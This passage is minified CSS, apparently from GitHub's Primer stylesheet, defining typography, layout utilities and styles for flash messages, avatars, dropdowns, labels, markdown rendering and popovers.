768px){.f0-light{font-size:40px !important}}.f1-light{font-size:26px !important;font-weight:300 !important}@media(min-width: 768px){.f1-light{font-size:32px !important}}.f2-light{font-size:22px !important;font-weight:300 !important}@media(min-width: 768px){.f2-light{font-size:24px !important}}.f3-light{font-size:18px !important;font-weight:300 !important}@media(min-width: 768px){.f3-light{font-size:20px !important}}.text-small{font-size:12px !important}.lead{margin-bottom:30px;font-size:20px;font-weight:300}.lh-condensed-ultra{line-height:1 !important}.lh-condensed{line-height:1.25 !important}.lh-default{line-height:1.5 !important}.lh-0{line-height:0 !important}@media(min-width: 544px){.lh-sm-condensed-ultra{line-height:1 !important}.lh-sm-condensed{line-height:1.25 !important}.lh-sm-default{line-height:1.5 !important}.lh-sm-0{line-height:0 !important}}@media(min-width: 768px){.lh-md-condensed-ultra{line-height:1 !important}.lh-md-condensed{line-height:1.25 !important}.lh-md-default{line-height:1.5 !important}.lh-md-0{line-height:0 !important}}@media(min-width: 1012px){.lh-lg-condensed-ultra{line-height:1 !important}.lh-lg-condensed{line-height:1.25 !important}.lh-lg-default{line-height:1.5 !important}.lh-lg-0{line-height:0 !important}}@media(min-width: 1280px){.lh-xl-condensed-ultra{line-height:1 !important}.lh-xl-condensed{line-height:1.25 !important}.lh-xl-default{line-height:1.5 !important}.lh-xl-0{line-height:0 !important}}.text-right{text-align:right !important}.text-left{text-align:left !important}.text-center{text-align:center !important}@media(min-width: 544px){.text-sm-right{text-align:right !important}.text-sm-left{text-align:left !important}.text-sm-center{text-align:center !important}}@media(min-width: 768px){.text-md-right{text-align:right !important}.text-md-left{text-align:left !important}.text-md-center{text-align:center !important}}@media(min-width: 1012px){.text-lg-right{text-align:right !important}.text-lg-left{text-align:left !important}.text-lg-center{text-align:center !important}}@media(min-width: 1280px){.text-xl-right{text-align:right !important}.text-xl-left{text-align:left !important}.text-xl-center{text-align:center !important}}.text-normal{font-weight:400 !important}.text-bold{font-weight:600 !important}.text-semibold{font-weight:500 !important}.text-light{font-weight:300 !important}.text-italic{font-style:italic !important}.text-uppercase{text-transform:uppercase !important}.text-underline{text-decoration:underline !important}.no-underline{text-decoration:none !important}.no-wrap{white-space:nowrap !important}.ws-normal{white-space:normal !important}.wb-break-word{word-break:break-word !important;word-wrap:break-word !important;overflow-wrap:break-word !important}.wb-break-all{word-break:break-all !important}.text-emphasized{font-weight:600}.list-style-none{list-style:none !important}.text-mono{font-family:ui-monospace,SFMono-Regular,SF Mono,Menlo,Consolas,Liberation Mono,monospace !important}.user-select-none{-webkit-user-select:none !important;user-select:none !important}.text-capitalize{text-transform:capitalize !important}.d-block{display:block !important}.d-flex{display:flex !important}.d-inline{display:inline !important}.d-inline-block{display:inline-block !important}.d-inline-flex{display:inline-flex !important}.d-none{display:none !important}.d-table{display:table !important}.d-table-cell{display:table-cell !important}@media(min-width: 544px){.d-sm-block{display:block !important}.d-sm-flex{display:flex !important}.d-sm-inline{display:inline !important}.d-sm-inline-block{display:inline-block !important}.d-sm-inline-flex{display:inline-flex !important}.d-sm-none{display:none !important}.d-sm-table{display:table !important}.d-sm-table-cell{display:table-cell !important}}@media(min-width: 768px){.d-md-block{display:block !important}.d-md-flex{display:flex !important}.d-md-inline{display:inline !important}.d-md-inline-block{display:inline-block !important}.d-md-inline-flex{display:inline-flex !important}.d-md-none{display:none !important}.d-md-table{display:table !important}.d-md-table-cell{display:table-cell !important}}@media(min-width: 1012px){.d-lg-block{display:block !important}.d-lg-flex{display:flex !important}.d-lg-inline{display:inline !important}.d-lg-inline-block{display:inline-block !important}.d-lg-inline-flex{display:inline-flex !important}.d-lg-none{display:none !important}.d-lg-table{display:table !important}.d-lg-table-cell{display:table-cell !important}}@media(min-width: 1280px){.d-xl-block{display:block !important}.d-xl-flex{display:flex !important}.d-xl-inline{display:inline !important}.d-xl-inline-block{display:inline-block !important}.d-xl-inline-flex{display:inline-flex !important}.d-xl-none{display:none !important}.d-xl-table{display:table !important}.d-xl-table-cell{display:table-cell !important}}.v-hidden{visibility:hidden !important}.v-visible{visibility:visible !important}@media(max-width: 543.98px){.hide-sm{display:none !important}}@media(min-width: 544px)and (max-width: 767.98px){.hide-md{display:none !important}}@media(min-width: 768px)and (max-width: 1011.98px){.hide-lg{display:none !important}}@media(min-width: 1012px){.hide-xl{display:none !important}}.show-whenNarrow,.show-whenRegular,.show-whenWide,.show-whenRegular.hide-whenWide{display:none !important}.hide-whenNarrow,.hide-whenRegular,.hide-whenWide{display:block !important}@media(max-width: 767.98px){.show-whenNarrow{display:block !important}.hide-whenNarrow{display:none !important}}@media(min-width: 768px){.show-whenRegular,.show-whenRegular.hide-whenWide{display:block !important}.hide-whenRegular{display:none !important}}@media(min-width: 1280px){.show-whenWide{display:block !important}.hide-whenWide,.show-whenRegular.hide-whenWide{display:none !important}}.table-fixed{table-layout:fixed !important}.sr-only{position:absolute;width:1px;height:1px;padding:0;overflow:hidden;clip:rect(0, 0, 0, 0);word-wrap:normal;border:0}.show-on-focus{position:absolute;width:1px;height:1px;margin:0;overflow:hidden;clip:rect(1px, 1px, 1px, 1px)}.show-on-focus:focus{z-index:20;width:auto;height:auto;clip:auto}/*! + * @primer/css/product + * http://primer.style/css + * + * Released under MIT license. Copyright (c) 2019 GitHub Inc. + */.flash{position:relative;padding:20px 16px;border-style:solid;border-width:1px;border-radius:6px}.flash p:last-child{margin-bottom:0}.flash .octicon{margin-right:12px}.flash-messages{margin-bottom:24px}.flash-close{float:right;padding:16px;margin:-16px;text-align:center;cursor:pointer;background:none;border:0;-webkit-appearance:none;appearance:none}.flash-close:hover{opacity:.7}.flash-close:active{opacity:.5}.flash-close .octicon{margin-right:0}.flash-action{float:right;margin-top:-3px;margin-left:24px;background-clip:padding-box}.flash-action.btn .octicon{margin-right:4px;color:var(--color-fg-muted)}.flash-action.btn-primary{background-clip:border-box}.flash-action.btn-primary .octicon{color:inherit}.flash{color:var(--color-fg-default);background-image:linear-gradient(var(--color-accent-subtle), var(--color-accent-subtle));border-color:var(--color-accent-muted)}.flash .octicon{color:var(--color-accent-fg)}.flash-warn{color:var(--color-fg-default);background-image:linear-gradient(var(--color-attention-subtle), var(--color-attention-subtle));border-color:var(--color-attention-muted)}.flash-warn .octicon{color:var(--color-attention-fg)}.flash-error{color:var(--color-fg-default);background-image:linear-gradient(var(--color-danger-subtle), var(--color-danger-subtle));border-color:var(--color-danger-muted)}.flash-error .octicon{color:var(--color-danger-fg)}.flash-success{color:var(--color-fg-default);background-image:linear-gradient(var(--color-success-subtle), var(--color-success-subtle));border-color:var(--color-success-muted)}.flash-success .octicon{color:var(--color-success-fg)}.flash-full{margin-top:-1px;border-width:1px 0;border-radius:0}.flash-banner{position:fixed;top:0;z-index:90;width:100%;border-top:0;border-right:0;border-left:0;border-radius:0}.flash-full,.flash-banner{background-color:var(--color-canvas-default)}.warning{padding:.5em;margin-bottom:.8em;font-weight:600;background-color:var(--color-attention-subtle)}.autocomplete-label-stacked{display:block;margin-bottom:6px}.autocomplete-label-inline{display:inline;margin-right:6px}@media(max-width: 544px){.autocomplete-label-inline{display:block;margin-bottom:6px}}.autocomplete-body{position:relative;display:inline}.autocomplete-embedded-icon-wrap{display:inline-flex;padding:4px 8px;align-items:center}.autocomplete-embedded-icon-wrap:focus-within{border-color:var(--color-accent-fg);border-color:var(--color-accent-fg);outline:none;box-shadow:inset 0 0 0 1px var(--color-accent-fg)}.autocomplete-embedded-icon-wrap .form-control{padding:0;margin-left:8px;border:none;box-shadow:none}.autocomplete-embedded-icon-wrap .form-control:focus{box-shadow:none}.autocomplete-embedded-icon-wrap .form-control:focus-visible{box-shadow:none}.autocomplete-results{position:absolute;left:0;z-index:99;width:max-content;min-width:100%;max-height:20em;overflow-y:auto;font-size:13px;list-style:none;background:var(--color-canvas-overlay);border:1px solid var(--color-border-default);border-radius:6px;box-shadow:var(--color-shadow-medium)}.autocomplete-item{display:block;width:100%;padding:4px 8px;overflow:hidden;font-weight:600;color:var(--color-fg-default);text-align:left;text-decoration:none;text-overflow:ellipsis;white-space:nowrap;cursor:pointer;background-color:var(--color-canvas-overlay);border:0}.autocomplete-item:hover{color:var(--color-fg-on-emphasis);text-decoration:none;background-color:var(--color-accent-emphasis)}.autocomplete-item:hover *{color:inherit !important}.autocomplete-item.selected,.autocomplete-item[aria-selected=true],.autocomplete-item.navigation-focus{color:var(--color-fg-on-emphasis);text-decoration:none;background-color:var(--color-accent-emphasis)}.autocomplete-item.selected *,.autocomplete-item[aria-selected=true] *,.autocomplete-item.navigation-focus *{color:inherit !important}.suggester{position:relative;top:0;left:0;min-width:180px;padding:0;margin:0;margin-top:24px;list-style:none;cursor:pointer;background:var(--color-canvas-overlay);border:1px solid var(--color-border-default);border-radius:6px;box-shadow:var(--color-shadow-medium)}.suggester li{display:block;padding:4px 8px;font-weight:500;border-bottom:1px solid var(--color-border-muted)}.suggester li small{font-weight:400;color:var(--color-fg-muted)}.suggester li:last-child{border-bottom:0;border-bottom-right-radius:6px;border-bottom-left-radius:6px}.suggester li:first-child{border-top-left-radius:6px;border-top-right-radius:6px}.suggester li:hover{color:var(--color-fg-on-emphasis);text-decoration:none;background:var(--color-accent-emphasis)}.suggester li:hover small{color:var(--color-fg-on-emphasis)}.suggester li:hover .octicon{color:inherit !important}.suggester li[aria-selected=true],.suggester li.navigation-focus{color:var(--color-fg-on-emphasis);text-decoration:none;background:var(--color-accent-emphasis)}.suggester li[aria-selected=true] small,.suggester li.navigation-focus small{color:var(--color-fg-on-emphasis)}.suggester li[aria-selected=true] .octicon,.suggester li.navigation-focus .octicon{color:inherit !important}.suggester-container{position:absolute;top:0;left:0;z-index:30}@media(max-width: 544px){.page-responsive .suggester-container{right:8px !important;left:8px !important}.page-responsive .suggester li{padding:8px 16px}}.avatar{display:inline-block;overflow:hidden;line-height:1;vertical-align:middle;background-color:var(--color-avatar-bg);border-radius:6px;flex-shrink:0;box-shadow:0 0 0 1px var(--color-avatar-border)}.avatar-link{float:left;line-height:1}.avatar-group-item{display:inline-block;margin-bottom:3px}.avatar-1,.avatar-2,.avatar-small{border-radius:4px}.avatar-1{width:16px;height:16px}.avatar-2{width:20px;height:20px}.avatar-3{width:24px;height:24px}.avatar-4{width:28px;height:28px}.avatar-5{width:32px;height:32px}.avatar-6{width:40px;height:40px}.avatar-7{width:48px;height:48px}.avatar-8{width:64px;height:64px}.avatar-parent-child{position:relative}.avatar-child{position:absolute;right:-15%;bottom:-9%;background-color:var(--color-canvas-default);border-radius:4px;box-shadow:var(--color-avatar-child-shadow)}.AvatarStack{position:relative;min-width:26px;height:20px}.AvatarStack .AvatarStack-body{position:absolute}.AvatarStack.AvatarStack--two{min-width:36px}.AvatarStack.AvatarStack--three-plus{min-width:46px}.AvatarStack-body{display:flex;background:var(--color-canvas-default)}.AvatarStack-body .avatar{position:relative;z-index:2;display:flex;width:20px;height:20px;box-sizing:content-box;margin-right:-11px;background-color:var(--color-canvas-default);border-right:1px solid var(--color-canvas-default);border-radius:4px;box-shadow:none;transition:margin .1s ease-in-out}.AvatarStack-body .avatar:first-child{z-index:3}.AvatarStack-body .avatar:last-child{z-index:1;border-right:0}.AvatarStack-body .avatar img{border-radius:4px}.AvatarStack-body .avatar:nth-child(n+4){display:none;opacity:0}.AvatarStack-body:hover .avatar{margin-right:3px}.AvatarStack-body:hover .avatar:nth-child(n+4){display:flex;opacity:1}.AvatarStack-body:hover .avatar-more{display:none !important}.avatar.avatar-more{z-index:1;margin-right:0;background:var(--color-canvas-subtle)}.avatar.avatar-more::before,.avatar.avatar-more::after{position:absolute;display:block;height:20px;content:"";border-radius:2px;outline:1px solid var(--color-canvas-default)}.avatar.avatar-more::before{width:17px;background:var(--color-avatar-stack-fade-more)}.avatar.avatar-more::after{width:14px;background:var(--color-avatar-stack-fade)}.AvatarStack--right .AvatarStack-body{right:0;flex-direction:row-reverse}.AvatarStack--right .AvatarStack-body:hover .avatar{margin-right:0;margin-left:3px}.AvatarStack--right .avatar.avatar-more{background:var(--color-avatar-stack-fade)}.AvatarStack--right .avatar.avatar-more::before{width:5px}.AvatarStack--right .avatar.avatar-more::after{width:2px;background:var(--color-canvas-subtle)}.AvatarStack--right .avatar{margin-right:0;margin-left:-11px;border-right:0;border-left:1px solid var(--color-canvas-default)}.CircleBadge{display:flex;align-items:center;justify-content:center;background-color:var(--color-canvas-default);border-radius:50%;box-shadow:var(--color-shadow-medium)}.CircleBadge-icon{max-width:60% !important;height:auto !important;max-height:55% !important}.CircleBadge--small{width:56px;height:56px}.CircleBadge--medium{width:96px;height:96px}.CircleBadge--large{width:128px;height:128px}.DashedConnection{position:relative}.DashedConnection::before{position:absolute;top:50%;left:0;width:100%;content:"";border-bottom:2px dashed var(--color-border-default)}.DashedConnection .CircleBadge{position:relative}.blankslate{position:relative;padding:32px;text-align:center}.blankslate p{color:var(--color-fg-muted)}.blankslate code{padding:2px 5px 3px;font-size:14px;background:var(--color-canvas-default);border:1px solid var(--color-border-muted);border-radius:6px}.blankslate img{width:56px;height:56px}.blankslate-icon{margin-right:4px;margin-bottom:8px;margin-left:4px;color:var(--color-fg-muted)}.blankslate-image{margin-bottom:16px}.blankslate-heading{margin-bottom:4px}.blankslate-action{margin-top:16px}.blankslate-action:first-of-type{margin-top:24px}.blankslate-action:last-of-type{margin-bottom:8px}.blankslate-capped{border-radius:0 0 6px 6px}.blankslate-spacious{padding:80px 40px}.blankslate-narrow{max-width:485px;margin:0 auto}.blankslate-large img{width:80px;height:80px}.blankslate-large h3{margin:16px 0;font-size:24px}.blankslate-large p{font-size:16px}.blankslate-clean-background{border:0}.branch-name{display:inline-block;padding:2px 6px;font:12px ui-monospace,SFMono-Regular,SF Mono,Menlo,Consolas,Liberation Mono,monospace;color:var(--color-fg-muted);word-break:break-all;background-color:var(--color-accent-subtle);border-radius:6px}.branch-name .octicon{margin:1px -2px 0 0;color:var(--color-fg-muted)}a.branch-name{color:var(--color-accent-fg);background-color:var(--color-accent-subtle)}a.branch-name .octicon{color:var(--color-accent-fg)}.dropdown{position:relative}.dropdown-caret{display:inline-block;width:0;height:0;vertical-align:middle;content:"";border-style:solid;border-width:4px 4px 0;border-right-color:transparent;border-bottom-color:transparent;border-left-color:transparent}.dropdown-menu{position:absolute;top:100%;left:0;z-index:100;width:160px;padding-top:4px;padding-bottom:4px;margin-top:2px;list-style:none;background-color:var(--color-canvas-overlay);background-clip:padding-box;border:1px solid var(--color-border-default);border-radius:6px;box-shadow:var(--color-shadow-large)}.dropdown-menu::before,.dropdown-menu::after{position:absolute;display:inline-block;content:""}.dropdown-menu::before{border:8px solid transparent;border-bottom-color:var(--color-border-default)}.dropdown-menu::after{border:7px solid transparent;border-bottom-color:var(--color-canvas-overlay)}.dropdown-menu>ul{list-style:none}.dropdown-menu-no-overflow{width:auto}.dropdown-menu-no-overflow .dropdown-item{padding:4px 16px;overflow:visible;text-overflow:inherit}.dropdown-item{display:block;padding:4px 8px 4px 16px;overflow:hidden;color:var(--color-fg-default);text-overflow:ellipsis;white-space:nowrap}.dropdown-item:hover{color:var(--color-fg-on-emphasis);text-decoration:none;background-color:var(--color-accent-emphasis)}.dropdown-item:hover>.octicon{color:inherit;opacity:1}.dropdown-item:hover [class*=color-text-]{color:inherit !important}.dropdown-item:hover>.Label{color:inherit !important;border-color:currentColor}.dropdown-item.btn-link{width:100%;text-align:left}.dropdown-signout{width:100%;text-align:left;background:none;border:0}.dropdown-divider{display:block;height:0;margin:8px 0;border-top:1px solid var(--color-border-default)}.dropdown-header{padding:4px 16px;font-size:12px;color:var(--color-fg-muted)}.dropdown-item[aria-checked=false] .octicon-check{display:none}.dropdown-menu-w{top:0;right:100%;left:auto;width:auto;margin-top:0;margin-right:8px}.dropdown-menu-w::before{top:10px;right:-16px;left:auto;border-color:transparent;border-left-color:var(--color-border-default)}.dropdown-menu-w::after{top:11px;right:-14px;left:auto;border-color:transparent;border-left-color:var(--color-canvas-overlay)}.dropdown-menu-e{top:0;left:100%;width:auto;margin-top:0;margin-left:8px}.dropdown-menu-e::before{top:10px;left:-16px;border-color:transparent;border-right-color:var(--color-border-default)}.dropdown-menu-e::after{top:11px;left:-14px;border-color:transparent;border-right-color:var(--color-canvas-overlay)}.dropdown-menu-ne{top:auto;bottom:100%;left:0;margin-bottom:3px}.dropdown-menu-ne::before,.dropdown-menu-ne::after{top:auto;right:auto}.dropdown-menu-ne::before{bottom:-8px;left:9px;border-top:8px solid var(--color-border-default);border-right:8px solid transparent;border-bottom:0;border-left:8px solid transparent}.dropdown-menu-ne::after{bottom:-7px;left:10px;border-top:7px solid var(--color-canvas-overlay);border-right:7px solid transparent;border-bottom:0;border-left:7px solid transparent}.dropdown-menu-s{right:50%;left:auto;transform:translateX(50%)}.dropdown-menu-s::before{top:-16px;right:50%;transform:translateX(50%)}.dropdown-menu-s::after{top:-14px;right:50%;transform:translateX(50%)}.dropdown-menu-sw{right:0;left:auto}.dropdown-menu-sw::before{top:-16px;right:9px;left:auto}.dropdown-menu-sw::after{top:-14px;right:10px;left:auto}.dropdown-menu-se::before{top:-16px;left:9px}.dropdown-menu-se::after{top:-14px;left:10px}.Header{z-index:32;display:flex;padding:16px;font-size:14px;line-height:1.5;color:var(--color-header-text);background-color:var(--color-header-bg);align-items:center;flex-wrap:nowrap}.Header-item{display:flex;margin-right:16px;align-self:stretch;align-items:center;flex-wrap:nowrap}.Header-item--full{flex:auto}.Header-link{font-weight:600;color:var(--color-header-logo);white-space:nowrap}.Header-link:hover,.Header-link:focus{color:var(--color-header-text);text-decoration:none}.Header-input{color:var(--color-header-text);background-color:var(--color-header-search-bg);border:1px solid var(--color-header-search-border);box-shadow:none}.Header-input::placeholder{color:rgba(255,255,255,.75)}.IssueLabel{display:inline-block;padding:0 7px;font-size:12px;font-weight:500;line-height:18px;white-space:nowrap;border:1px solid transparent;border-radius:2em}.IssueLabel .g-emoji{position:relative;top:-0.05em;display:inline-block;font-size:1em;line-height:1}.IssueLabel:hover{text-decoration:none}.IssueLabel--big{padding-right:10px;padding-left:10px;line-height:22px}.labels{position:relative}.label,.Label{display:inline-block;padding:0 7px;font-size:12px;font-weight:500;line-height:18px;white-space:nowrap;border:1px solid transparent;border-radius:2em;border-color:var(--color-border-default)}.label:hover,.Label:hover{text-decoration:none}.Label--large{padding-right:10px;padding-left:10px;line-height:22px}.Label--inline{display:inline;padding:.12em .5em;font-size:85%}.Label--primary{color:var(--color-fg-default);border-color:var(--color-neutral-emphasis)}.Label--secondary{color:var(--color-fg-muted);border-color:var(--color-border-default)}.Label--info,.Label--accent{color:var(--color-accent-fg);border-color:var(--color-accent-emphasis)}.Label--success{color:var(--color-success-fg);border-color:var(--color-success-emphasis)}.Label--warning,.Label--attention{color:var(--color-attention-fg);border-color:var(--color-attention-emphasis)}.Label--severe{color:var(--color-severe-fg);border-color:var(--color-severe-emphasis)}.Label--danger{color:var(--color-danger-fg);border-color:var(--color-danger-emphasis)}.Label--open{color:var(--color-open-fg);border-color:var(--color-open-emphasis)}.Label--closed{color:var(--color-closed-fg);border-color:var(--color-closed-emphasis)}.Label--done{color:var(--color-done-fg);border-color:var(--color-done-emphasis)}.Label--sponsors{color:var(--color-sponsors-fg);border-color:var(--color-sponsors-emphasis)}.state,.State{display:inline-block;padding:5px 12px;font-size:14px;font-weight:500;line-height:20px;text-align:center;white-space:nowrap;border-radius:2em}.state,.State,.State--draft{color:var(--color-fg-on-emphasis);background-color:var(--color-neutral-emphasis);border:1px solid transparent}.State--open{color:var(--color-fg-on-emphasis);background-color:var(--color-open-emphasis)}.State--merged{color:var(--color-fg-on-emphasis);background-color:var(--color-done-emphasis)}.State--closed{color:var(--color-fg-on-emphasis);background-color:var(--color-closed-emphasis)}.State--small{padding:0 10px;font-size:12px;line-height:24px}.State--small .octicon{width:1em}.Counter{display:inline-block;min-width:20px;padding:0 6px;font-size:12px;font-weight:500;line-height:18px;color:var(--color-fg-default);text-align:center;background-color:var(--color-neutral-muted);border:1px solid var(--color-counter-border);border-radius:2em}.Counter:empty{display:none}.Counter .octicon{vertical-align:text-top;opacity:.8}.Counter--primary{color:var(--color-fg-on-emphasis);background-color:var(--color-neutral-emphasis)}.Counter--secondary{color:var(--color-fg-muted);background-color:var(--color-neutral-subtle)}.diffstat{font-size:12px;font-weight:600;color:var(--color-fg-muted);white-space:nowrap;cursor:default}.diffstat-block-deleted,.diffstat-block-added,.diffstat-block-neutral{display:inline-block;width:8px;height:8px;margin-left:1px;outline-offset:-1px}.diffstat-block-deleted{background-color:var(--color-danger-emphasis);outline:1px solid var(--color-border-subtle)}.diffstat-block-added{background-color:var(--color-diffstat-addition-bg);outline:1px solid var(--color-border-subtle)}.diffstat-block-neutral{background-color:var(--color-neutral-muted);outline:1px solid var(--color-border-subtle)}.AnimatedEllipsis{display:inline-block;overflow:hidden;vertical-align:bottom}.AnimatedEllipsis::after{display:inline-block;content:"...";animation:AnimatedEllipsis-keyframes 1.2s steps(4, jump-none) infinite}@keyframes AnimatedEllipsis-keyframes{0%{transform:translateX(-100%)}}.markdown-body{font-family:-apple-system,BlinkMacSystemFont,"Segoe UI",Helvetica,Arial,sans-serif,"Apple Color Emoji","Segoe UI Emoji";font-size:16px;line-height:1.5;word-wrap:break-word}.markdown-body::before{display:table;content:""}.markdown-body::after{display:table;clear:both;content:""}.markdown-body>*:first-child{margin-top:0 !important}.markdown-body>*:last-child{margin-bottom:0 !important}.markdown-body a:not([href]){color:inherit;text-decoration:none}.markdown-body .absent{color:var(--color-danger-fg)}.markdown-body .anchor{float:left;padding-right:4px;margin-left:-20px;line-height:1}.markdown-body .anchor:focus{outline:none}.markdown-body p,.markdown-body blockquote,.markdown-body ul,.markdown-body ol,.markdown-body dl,.markdown-body table,.markdown-body pre,.markdown-body details{margin-top:0;margin-bottom:16px}.markdown-body hr{height:.25em;padding:0;margin:24px 0;background-color:var(--color-border-default);border:0}.markdown-body blockquote{padding:0 1em;color:var(--color-fg-muted);border-left:.25em solid var(--color-border-default)}.markdown-body blockquote>:first-child{margin-top:0}.markdown-body blockquote>:last-child{margin-bottom:0}.markdown-body h1,.markdown-body h2,.markdown-body h3,.markdown-body h4,.markdown-body h5,.markdown-body h6{margin-top:24px;margin-bottom:16px;font-weight:600;line-height:1.25}.markdown-body h1 .octicon-link,.markdown-body h2 .octicon-link,.markdown-body h3 .octicon-link,.markdown-body h4 .octicon-link,.markdown-body h5 .octicon-link,.markdown-body h6 .octicon-link{color:var(--color-fg-default);vertical-align:middle;visibility:hidden}.markdown-body h1:hover .anchor,.markdown-body h2:hover .anchor,.markdown-body h3:hover .anchor,.markdown-body h4:hover .anchor,.markdown-body h5:hover .anchor,.markdown-body h6:hover .anchor{text-decoration:none}.markdown-body h1:hover .anchor .octicon-link,.markdown-body h2:hover .anchor .octicon-link,.markdown-body h3:hover .anchor .octicon-link,.markdown-body h4:hover .anchor .octicon-link,.markdown-body h5:hover .anchor .octicon-link,.markdown-body h6:hover .anchor .octicon-link{visibility:visible}.markdown-body h1 tt,.markdown-body h1 code,.markdown-body h2 tt,.markdown-body h2 code,.markdown-body h3 tt,.markdown-body h3 code,.markdown-body h4 tt,.markdown-body h4 code,.markdown-body h5 tt,.markdown-body h5 code,.markdown-body h6 tt,.markdown-body h6 code{padding:0 .2em;font-size:inherit}.markdown-body h1{padding-bottom:.3em;font-size:2em;border-bottom:1px solid var(--color-border-muted)}.markdown-body h2{padding-bottom:.3em;font-size:1.5em;border-bottom:1px solid var(--color-border-muted)}.markdown-body h3{font-size:1.25em}.markdown-body h4{font-size:1em}.markdown-body h5{font-size:.875em}.markdown-body h6{font-size:.85em;color:var(--color-fg-muted)}.markdown-body summary h1,.markdown-body summary h2,.markdown-body summary h3,.markdown-body summary h4,.markdown-body summary h5,.markdown-body summary h6{display:inline-block}.markdown-body summary h1 .anchor,.markdown-body summary h2 .anchor,.markdown-body summary h3 .anchor,.markdown-body summary h4 .anchor,.markdown-body summary h5 .anchor,.markdown-body summary h6 .anchor{margin-left:-40px}.markdown-body summary h1,.markdown-body summary h2{padding-bottom:0;border-bottom:0}.markdown-body ul,.markdown-body ol{padding-left:2em}.markdown-body ul.no-list,.markdown-body ol.no-list{padding:0;list-style-type:none}.markdown-body ol[type="1"]{list-style-type:decimal}.markdown-body ol[type=a]{list-style-type:lower-alpha}.markdown-body ol[type=i]{list-style-type:lower-roman}.markdown-body div>ol:not([type]){list-style-type:decimal}.markdown-body ul ul,.markdown-body ul ol,.markdown-body ol ol,.markdown-body ol ul{margin-top:0;margin-bottom:0}.markdown-body li>p{margin-top:16px}.markdown-body li+li{margin-top:.25em}.markdown-body dl{padding:0}.markdown-body dl dt{padding:0;margin-top:16px;font-size:1em;font-style:italic;font-weight:600}.markdown-body dl dd{padding:0 16px;margin-bottom:16px}.markdown-body table{display:block;width:100%;width:max-content;max-width:100%;overflow:auto}.markdown-body table th{font-weight:600}.markdown-body table th,.markdown-body table td{padding:6px 13px;border:1px solid var(--color-border-default)}.markdown-body table tr{background-color:var(--color-canvas-default);border-top:1px solid var(--color-border-muted)}.markdown-body table tr:nth-child(2n){background-color:var(--color-canvas-subtle)}.markdown-body table img{background-color:transparent}.markdown-body img{max-width:100%;box-sizing:content-box;background-color:var(--color-canvas-default)}.markdown-body img[align=right]{padding-left:20px}.markdown-body img[align=left]{padding-right:20px}.markdown-body .emoji{max-width:none;vertical-align:text-top;background-color:transparent}.markdown-body span.frame{display:block;overflow:hidden}.markdown-body span.frame>span{display:block;float:left;width:auto;padding:7px;margin:13px 0 0;overflow:hidden;border:1px solid var(--color-border-default)}.markdown-body span.frame span img{display:block;float:left}.markdown-body span.frame span span{display:block;padding:5px 0 0;clear:both;color:var(--color-fg-default)}.markdown-body span.align-center{display:block;overflow:hidden;clear:both}.markdown-body span.align-center>span{display:block;margin:13px auto 0;overflow:hidden;text-align:center}.markdown-body span.align-center span img{margin:0 auto;text-align:center}.markdown-body span.align-right{display:block;overflow:hidden;clear:both}.markdown-body span.align-right>span{display:block;margin:13px 0 0;overflow:hidden;text-align:right}.markdown-body span.align-right span img{margin:0;text-align:right}.markdown-body span.float-left{display:block;float:left;margin-right:13px;overflow:hidden}.markdown-body span.float-left span{margin:13px 0 0}.markdown-body span.float-right{display:block;float:right;margin-left:13px;overflow:hidden}.markdown-body span.float-right>span{display:block;margin:13px auto 0;overflow:hidden;text-align:right}.markdown-body code,.markdown-body tt{padding:.2em .4em;margin:0;font-size:85%;background-color:var(--color-neutral-muted);border-radius:6px}.markdown-body code br,.markdown-body tt br{display:none}.markdown-body del code{text-decoration:inherit}.markdown-body samp{font-size:85%}.markdown-body pre{word-wrap:normal}.markdown-body pre code{font-size:100%}.markdown-body pre>code{padding:0;margin:0;word-break:normal;white-space:pre;background:transparent;border:0}.markdown-body .highlight{margin-bottom:16px}.markdown-body .highlight pre{margin-bottom:0;word-break:normal}.markdown-body .highlight pre,.markdown-body pre{padding:16px;overflow:auto;font-size:85%;line-height:1.45;background-color:var(--color-canvas-subtle);border-radius:6px}.markdown-body pre code,.markdown-body pre tt{display:inline;max-width:auto;padding:0;margin:0;overflow:visible;line-height:inherit;word-wrap:normal;background-color:transparent;border:0}.markdown-body .csv-data td,.markdown-body .csv-data th{padding:5px;overflow:hidden;font-size:12px;line-height:1;text-align:left;white-space:nowrap}.markdown-body .csv-data .blob-num{padding:10px 8px 9px;text-align:right;background:var(--color-canvas-default);border:0}.markdown-body .csv-data tr{border-top:0}.markdown-body .csv-data th{font-weight:600;background:var(--color-canvas-subtle);border-top:0}.markdown-body [data-footnote-ref]::before{content:"["}.markdown-body [data-footnote-ref]::after{content:"]"}.markdown-body .footnotes{font-size:12px;color:var(--color-fg-muted);border-top:1px solid var(--color-border-default)}.markdown-body .footnotes ol{padding-left:16px}.markdown-body .footnotes li{position:relative}.markdown-body .footnotes li:target::before{position:absolute;top:-8px;right:-8px;bottom:-8px;left:-24px;pointer-events:none;content:"";border:2px solid var(--color-accent-emphasis);border-radius:6px}.markdown-body .footnotes li:target{color:var(--color-fg-default)}.markdown-body .footnotes .data-footnote-backref g-emoji{font-family:monospace}.Popover{position:absolute;z-index:100}.Popover-message{position:relative;width:232px;margin-right:auto;margin-left:auto;background-color:var(--color-canvas-overlay);border:1px solid var(--color-border-default);border-radius:6px}.Popover-message::before,.Popover-message::after{position:absolute;left:50%;display:inline-block;content:""}.Popover-message::before{top:-16px;margin-left:-9px;border:8px solid transparent;border-bottom-color:var(--color-border-default)}.Popover-message::after{top:-14px;margin-left:-8px;border:7px solid transparent;border-bottom-color:var(--color-canvas-overlay)}.Popover-message--no-caret::before,.Popover-message--no-caret::after{display:none}.Popover-message--bottom::before,.Popover-message--bottom::after,.Popover-message--bottom-right::before,.Popover-message--bottom-right::after,.Popover-message--bottom-left::before,.Popover-message--bottom-left::after{top:auto;border-bottom-color:transparent}.Popover-message--bottom::before,.Popover-message--bottom-right::before,.Popover-message--bottom-left::before{bottom:-16px;border-top-color:var(--color-border-default)}.Popover-message--bottom::after,.Popover-message--bottom-right::after,.Popover-message--bottom-left::after{bottom:-14px;border-top-color:var(--color-canvas-overlay)}.Popover-message--top-right,.Popover-message--bottom-right{right:-9px;margin-right:0}.Popover-message--top-right::before,.Popover-message--top-right::after,.Popover-message--bottom-right::before,.Popover-message--bottom-right::after{left:auto;margin-left:0}.Popover-message--top-right::before,.Popover-message--bottom-right::before{right:20px}.Popover-message--top-right::after,.Popover-message--bottom-right::after{right:21px}.Popover-message--top-left,.Popover-message--bottom-left{left:-9px;margin-left:0}.Popover-message--top-left::before,.Popover-message--top-left::after,.Popover-message--bottom-left::before,.Popover-message--bottom-left::after{left:24px;margin-left:0}.Popover-message--top-left::after,.Popover-message--bottom-left::after{left:25px}.Popover-message--right::before,